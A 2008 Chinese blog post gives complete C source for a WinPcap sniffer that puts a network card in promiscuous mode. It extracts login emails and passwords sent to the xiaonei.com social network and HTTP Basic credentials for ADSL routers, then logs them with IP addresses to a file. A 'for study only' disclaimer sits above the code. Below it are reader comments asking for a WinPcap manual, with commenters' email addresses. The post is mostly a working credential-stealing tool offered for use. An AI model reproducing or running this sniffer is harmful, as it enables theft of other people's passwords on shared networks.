[WinPcap]ADSL路由器+校内网密码嗅探器

作者在 2008-01-08 11:10:38 发布以下内容

ADSL路由器密码+校内网([url]http://www.xiaonei.com[/url])密码嗅探器

说明:该程序使用WinPcap开发。仅用以学习交流,本人不承担使用该程序造成的一切责任。

如果你是WinPacp新手,请先看看我的这篇《WinPacp开发“准备活动”》

http://hi.bc-cn.net/112902/viewspace-8772

先发个截图:

以下是源代码:

//By RedIce
//E-mail:redice@see.xidian.edu.cn
//http://redice.1.suhai.com.cn
#include <pcap.h>
int k=1;
char LogFile[200];//日志文件路径
/*物理帧头结构*/
typedef struct {
   BYTE  DesMAC[6];//目的MAC地址
   BYTE  SrcMAC[6];//源MAC地址
   BYTE  Ethertype;//帧类型
}DLC_Header;
BYTE tcp_body[1024];//Tcp数据部分  
//IP报头结构
typedef struct {
 BYTE  h_len:4;    //首部长度指的是IP层头部占32 bit字的数目
       //(也就是IP层头部包含多少个4字节,实际字节数4*hlen),
 BYTE  version:4; //IP版本号
 BYTE  tos;      //服务类型TOS
 USHORT total_len; //IP包总长度 
 USHORT ident;     //标识
 USHORT frag_and_flags;  //标志位
 BYTE ttl;      //生存时间
 BYTE proto;    //协议
 USHORT checksum; //IP首部校验和
 BYTE  sourceIP[4]; //源IP地址(32位)
 BYTE  destIP[4];  //目的IP地址(32位)
}IpHeader;
//TCP头
typedef struct _TCP{
 USHORT SrcPort; // 源端口
 USHORT DstPort; // 目的端口
 UINT SeqNum; // 顺序号
 UINT AckNum; // 确认号
 BYTE DataOff; // TCP头长
 BYTE Flags; // 标志(URG、ACK等)
 USHORT Window; // 窗口大小
 USHORT Chksum; // 校验和
 USHORT UrgPtr; // 紧急指针
}TcpHeader;
void PutBytesIntoLog(char *,char *);
void packet_handler(u_char *, const struct pcap_pkthdr *, const u_char *);
void main()
{
 pcap_t *fp;
 struct timeval st_ts;
 char errbuf[PCAP_ERRBUF_SIZE];
 char packet_filter[] = "";
 pcap_if_t *alldevs;
 pcap_if_t *d;
 UINT netmask;
 struct bpf_program fcode;
 int i=0;
 BYTE choise;
 memset(LogFile,0,200);
 if(!GetCurrentDirectory(200,LogFile))
 {
  printf("获取程序当前目录失败!\n");
  return;
 }
 if(LogFile[strlen(LogFile)-1]!='\\')//如果程序当前路径最后一个字符不是'\'则加之
 {
  LogFile[strlen(LogFile)]='\\';
 }
 strcat(LogFile,"Pass.log");//产生日志文件路径(含名称)
 /* 获取本地机器设备列表 */
    if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL /* auth is not needed */, &alldevs, errbuf) == -1)
    {
        fprintf(stderr,"获取网卡设备列表出错: %s\n", errbuf);
        return;
    }

 //列出网卡设备信息
 for(d=alldevs,i=0; d!=NULL; i++,d=d->next)
    {
  printf("网卡%d :%s\n(描述:%s)\n",i+1,d->name,d->description);
 }
 if(0==i)//没有网卡
 {
  printf("未找到网卡设备!\n");
        pcap_freealldevs(alldevs);
 }
 else if(1==i)//仅有一块网卡
 {
  printf("本机仅有一块网卡设备,程序将使用该网卡!\n");
  d=alldevs;
 }
 else//有多块网卡
 { 
  printf("本机有%d块网卡设备,请指定本程序要使用的网卡设备编号:",i);  
label: 
  choise=(char)getchar()-'0'; //取得用户选择的网卡编号
  if(choise<0||choise>i)
  {
   printf("\n错误的网卡编号,请重新选择:\n");
   goto label;
  }
        for(d=alldevs,i=1; i<choise;i++,d=d->next);
 }

  /* 打开输出设备 */
    if ( (fp= pcap_open(d->name,            // 设备名
                        65536,                // 要捕获的部分
                        PCAP_OPENFLAG_PROMISCUOUS,  // 混杂模式
                        1000,               // 读超时时间
                        NULL,               // 远程机器验证
                        errbuf              // 错误缓冲
                        ) ) == NULL)
    {
        printf("\n不能打开该网卡. %s 不被WinPacp驱动所支持!\n", d->name);
  pcap_freealldevs(alldevs);
        return;
    }

    /* 检查数据链路层,为了简单,我们只考虑以太网 */
    if(pcap_datalink(fp) != DLT_EN10MB)
    {
        fprintf(stderr,"\n这个程序仅能工作于局域网.\n");
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return;
    }
   
 if(d->addresses!=NULL)
        /* 获得接口第一个地址的掩码 */
        netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr;
    else
        /* 如果接口没有地址,那么我们假设一个C类的掩码 */
        netmask=0xffffff;


    //编译过滤器
    if (pcap_compile(fp, &fcode, packet_filter, 1, netmask) <0 )
    {
        fprintf(stderr,"\nUnable to compile the packet filter. Check the syntax.\n");
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return;
    }  

    //设置过滤器
    if (pcap_setfilter(fp, &fcode)<0)
    {
        fprintf(stderr,"\nError setting the filter.\n");
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return;
    }

 /* 不再需要设备列表了,释放它 */
    pcap_freealldevs(alldevs);
 printf("\n正在监听网卡%d...\n",choise);
 /* 开始捕捉 */
    //pcap_loop(fp, 0, packet_handler, NULL);
  pcap_loop(fp, 0, packet_handler, (PUCHAR)&st_ts);
 //pcap_dispatch(fp, 0, packet_handler, NULL);
    return;
}

/* 回调函数,当收到每一个数据包时会被libpcap所调用 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
 int i=0;
 BYTE cr[5];//双汇车换行,用以从HTTP报文中截取有用的数据
 DLC_Header *dlcheader;//物理帧
 IpHeader *ipheader;//IP头
 TcpHeader *tcpheader;//Tcp头
 USHORT ip_len;//IP头的长度
 BYTE tcp_body[6000];//Tcp包
 BYTE userpass[100];//密码
 UINT userpasslen;
 UINT tcp_body_len;//Tcp包的长度
 BYTE ip[50];//IP地址
 dlcheader=(DLC_Header *)pkt_data;
 if(0x0800!=ntohs(dlcheader->Ethertype)) return; //如果不是IP包则返回
    ipheader=(IpHeader *)(pkt_data+14);//Ip头
 memset(ip,0,50);
 sprintf(ip,"IP From->To:%d.%d.%d.%d->%d.%d.%d.%d\n",
   ipheader->sourceIP[0],
   ipheader->sourceIP[1],
   ipheader->sourceIP[2],
   ipheader->sourceIP[3],
   ipheader->destIP[0],
   ipheader->destIP[1],
   ipheader->destIP[2],      
   ipheader->destIP[3]
   );
 //printf(" *%d* %s",k++,ip);
 if(0x06!=ipheader->proto) return;//如果不是TCP包则返回
 ip_len=(ipheader->h_len & 0xf)*4;
 tcpheader=(TcpHeader *)((char *)ipheader+ip_len);
 memset(tcp_body,0,6000);
 tcp_body_len=ntohs(ipheader->total_len)-ip_len;//TCP包的长度=IP包的长度-IP头的长度
 if(ntohs(tcpheader->DstPort)!=0x0050) return;  //如果不是http包则返回
 memcpy(tcp_body,(void *)((char *)tcpheader+20),tcp_body_len-20);
 cr[0]=0x0D;
 cr[1]=0x0A;
 cr[2]=0x0D;
 cr[3]=0x0A;
 cr[4]=0x00;
 //经过一下四重判断,足以肯定该数据包中含有校内网用户登录名和密码
 if(strstr(tcp_body,"xiaonei.com"))//如果包中有"xiaonei.com"字段则继续
 {
  //printf("\n\n完整的数据包\n%s",tcp_body);
  if(strstr(tcp_body,cr))//如果包中有分隔符(双回车换行)则继续
  {
   //printf("\n\n完整的数据包\n%s",strstr(tcp_body,cr));
   if(strstr(strstr(tcp_body,cr),"email="))//分隔符后有"email="字段则继续
   {
    if(strstr(strstr(tcp_body,cr),"password="))//如果分隔符后有"password="字段则继续
    {
     printf(" *%d* %s",k++,ip);
     memset(userpass,0,100);
     //计算用户名和密码字段总长度(报文格式:0x0d0x0a0x0d0x0aemail=***&password=***&orig)
     userpasslen=strlen(strstr(tcp_body,cr))-strlen(strstr(tcp_body,"&orig")-4);
     memcpy(userpass,(void*)(strstr(tcp_body,cr)+4),userpasslen);
     printf("发现密码:\n%s\n",userpass);
     //将用户名密码写入文件
     PutBytesIntoLog(ip,LogFile);//写入IP地址
     PutBytesIntoLog(userpass,LogFile);
     PutBytesIntoLog(cr,LogFile);//写入换行符
    }
   }
  }
 }
 //如果包中含有该字段则可以推断这是含有路由器认证的数据包
 if(strstr(tcp_body,"Authorization: Basic"))
 {
  printf(" *%d* %s",k++,ip);
  memset(userpass,0,100);
  userpasslen=strlen(strstr(tcp_body,"Authorization: Basic"))-strlen(strstr(tcp_body,cr));
  memcpy(userpass,strstr(tcp_body,"Authorization: Basic"),userpasslen);
  printf("发现路由器帐号密码:\n%s\n",userpass);
  PutBytesIntoLog(ip,LogFile);//写入IP地址
  PutBytesIntoLog(userpass,LogFile);
  PutBytesIntoLog(cr,LogFile);//写入换行符  
 }
 //对其它数据包的处理
 return;
 
}
void PutBytesIntoLog (char *buf,char *filename)
{
 FILE *fileopr;
 if((fileopr=fopen(filename,"a"))==NULL)
 {
  printf("\n打开日志出错!\n");
 }
 fwrite(buf,sizeof(char),strlen(buf),fileopr);
 fclose(fileopr);
}

默认分类 | 阅读 5466 次
文章评论,共10条
redice(作者)
2008-01-09 16:58
1
如果有人需要WinPacp4.01的中文开发手册 留下E-mail我可以发给你
燃燒
2008-01-14 15:47
2
给我份^_^
cnzylm@hotmail.com
redice(作者)
2008-01-15 22:58
3
<div class="xspace-quote">原帖由燃燒于2008-01-14 15:47:45发表
给我份^_^
cnzylm@hotmail.com</div>
已经发给你了 注意查收
Knocker
2008-01-16 08:32
4
WinPacp4.01的中文开发手册
及WinPacp4.01
knocker_k@gmail.com

谢了:lol
redice(作者)
2008-01-16 23:18
5
<div class="xspace-quote">原帖由Knocker于2008-01-16 08:32:20发表
WinPacp4.01的中文开发手册
及WinPacp4.01
knocker_k@gmail.com

谢了:lol</div>


已经发给你了 请注意查收
Knocker
2008-01-20 20:25
6
<div class="xspace-quote">原帖由redice于2008-01-16 23:18:36发表
原帖由Knocker于2008-01-16 08:32:20发表
WinPacp4.01的中文开发手册
及WinPacp4.01
knocker_k@gmail.com

...</div>
晕,打错了
是knocker.k@gmail.com
烦请重发,谢谢
redice(作者)
2008-01-21 19:29
7
我已经将WinPcap4.01中文开发手册上传到我的网站。请使用该地址下载: 源位置: http://redice.1.suhai.com.cn/blogimage/WinPcap%20Document%20V4.01.rar
redice(作者)
2008-05-15 10:42
8
欢迎大家 到破冰论坛 交流网络编程技术!
http://www.bbspb.cn
qaz521920
2009-03-23 00:42
9
<div class="quote"><span class="q"><b>redice</b>: 如果有人需要WinPacp4.01的中文开发手册 留下E-mail我可以发给你</span></div>给我一份WinPacp4.01的中文开发手册 谢谢!!: qaz521920@126.com
飞猪
2009-04-02 00:36
10
也给我一个·syp2665@sina.com
游客请输入验证码
浏览585114次